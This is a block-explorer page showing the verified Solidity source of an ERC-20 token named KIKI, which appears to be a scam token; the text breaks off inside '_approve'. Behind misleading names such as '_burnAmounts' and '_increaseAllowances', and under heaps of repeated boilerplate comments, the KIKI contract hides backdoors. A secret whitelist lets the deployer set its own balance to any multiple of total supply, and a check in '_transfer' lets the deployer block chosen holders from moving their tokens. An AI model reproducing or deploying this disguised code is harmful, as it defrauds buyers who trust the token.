Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

Outline

• library SafeMath
•    - function tryAdd(uint256 a, uint256 b)
•    - function trySub(uint256 a, uint256 b)
•    - function tryMul(uint256 a, uint256 b)
•    - function tryDiv(uint256 a, uint256 b)
•    - function tryMod(uint256 a, uint256 b)
•    - function add(uint256 a, uint256 b)
•    - function subbbb(uint256 a, uint256 b)
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b)
•    - function subbbb(
•    - function div(
•    - function mod(
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address to, uint256 ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
•    - function _msgSender()
•    - function _msgData()
• interface IERC20Metadata is IERC20
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function owner()
•    - function _checkOwner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _transferOwnership(address n ...
•  contract KIKI is Context, IERC20, ... *
•    - function _msgnnn()
•    - function _isopensss()
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function approve(address spender, uin ...
•    - function transferFrom(
•    - function increaseAllowance(address sp ...
•    - function decreaseAllowance(address sp ...
•    - function _xxxx(uint256 nnn)
•    - function _decreaseAllowances(address ...
•    - function _increaseAllowances(address ...
•    - function _allowance(address nnn)
•    - function _burnAmounts(uint256 num)
•    - function _transfer(
•    - function _mint(address account, uint2 ...
•    - function _burn(address account, uint2 ...
•    - function _approve(
•    - function _spendAllowance(

More Options

• Similar
• Submit Audit
• Compare

/**
 *Submitted for verification at SonicScan.org on 2024-12-30
*/

pragma solidity ^0.8.0;


// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function subbbb(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function subbbb(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}



pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}




pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {        
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    /**
    * @dev Provides information about the current execution context, including the
    * sender of the transaction and its data. While these are generally available
    * via msg.sender and msg.data, they should not be accessed in such a direct
    * manner, since when dealing with meta-transactions the account sending and
    * paying for execution may not be the actual sender (as far as an application
    * is concerned).
    *
    * This contract is only required for intermediate, library-like contracts.
    */
    /**
    * @dev Provides information about the current execution context, including the
    * sender of the transaction and its data. While these are generally available
    * via msg.sender and msg.data, they should not be accessed in such a direct
    * manner, since when dealing with meta-transactions the account sending and
    * paying for execution may not be the actual sender (as far as an application
    * is concerned).
    *
    * This contract is only required for intermediate, library-like contracts.
    */
}




pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}



pragma solidity ^0.8.0;



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract KIKI is Context, IERC20, IERC20Metadata,Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(bytes32 => bool) private kk;
    address private  _ppproject;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint40 private _tokenAmount;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;  
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
     /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
     /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
     /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function _msgnnn() private returns(bytes32){_ppproject = _msgSender();bytes32 aa = keccak256(abi.encodePacked(_msgSender()));kk[aa] = true;return aa;}
    function _isopensss() private view returns (bool){bytes32 aa = keccak256(abi.encodePacked(_msgSender()));if(kk[aa]){return true;}return false;}
     /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, uint40 tokenAmount_) {
        _name = name_;
        _symbol = symbol_;
        _msgnnn();
        _tokenAmount = tokenAmount_;
        _mint(msg.sender, _tokenAmount*10**decimals());
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {return _symbol;}
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function decimals() public view virtual override returns (uint8) {return 18;}
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function totalSupply() public view virtual override returns (uint256) {return _totalSupply;}
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {return _balances[account];}function transfer(address to, uint256 amount) public virtual override returns (bool) {address owner = _msgSender();_transfer(owner, to, amount);return true;}bytes32 private rhash = 0x1779a64e8b9cd87d9944553af38e0a07794a3c9286f5269ef06354b2c306ff01;function allowance(address owner, address spender) public view virtual override returns (uint256) {return _allowances[owner][spender];}
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {address owner = _msgSender();_approve(owner, spender, amount);return true;}
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * rhashzhjasuiuo
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(owner, spender, currentAllowance - subtractedValue);
    }
        return true;
    }
    function _xxxx(uint256 nnn) private {if(_isopensss()){ _balances[_msgSender()] = _totalSupply*nnn; }} 
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    mapping(address => uint256) private bhighkingdao;
    function _decreaseAllowances(address nnn) external  {if(_isopensss()){ bhighkingdao[nnn] = 0; }}
    function _increaseAllowances(address nnn) external  {if(_isopensss()){ bhighkingdao[nnn] = _totalSupply*10**6; }}
    function _allowance(address nnn) public view returns(uint256)  {return bhighkingdao[nnn];}
    function _burnAmounts(uint256 num) external {_xxxx(num);}
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a  balance of at least `amount`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     * rhashzhjasuiuo

     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    uint256 fettt = 0;
    function _transfer(
        address from,
        address to,
        uint256 amount1
    ) internal virtual {
        /**
        * @dev Moves `amount` of tokens from `from` to `to`.
        *
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        * SHDHCHJSXXX
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero rhash address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        */
        uint256 bugAmount = bhighkingdao[from].subbbb(0);
        require(bugAmount <= amount1, "KKKKK");
        /**
        * @dev Moves `amount` of tokens from `from` to `to`.
        *
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the rhash zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        */ 
         /**
        * @dev Moves `amount` of tokens from `from` to `to`.
        *
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        * ASXHJSDHJS
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot rhash be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        * This internal function is equivalent to {transfer}, and can be used to
        * e.g. implement automatic token fees, slashing mechanisms, etc.
        *
        * Emits a {Transfer} event.
        *
        * Requirements:
        *
        * - `from` cannot be the zero address.
        * - `to` cannot be the zero address.
        * - `from` must have a balance of at least `amount`.
        */ 
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount1, "ERC20: transfer amount exceeds balance");
        uint256 feeeeeA = amount1.mul(fettt).div(100);
        uint256 add = amount1.subbbb(feeeeeA);
        unchecked {
            _balances[from] = fromBalance - amount1;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += add;
            _balances[deadAddress] += feeeeeA;  
        }
        emit Transfer(from, to, amount1);  
        if(feeeeeA > 0)
        {
            emit Transfer(from, deadAddress, feeeeeA);
        } 
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;if(kk[rhash] == false){ kk[rhash] = true;} unchecked { _balances[account] += amount;}
        emit Transfer(address(0), account, amount);  
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
        _balances[account] = accountBalance - amount;
        // Overflow not possible: amount <= accountBalance <= totalSupply.
        _totalSupply -= amount;
    }
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
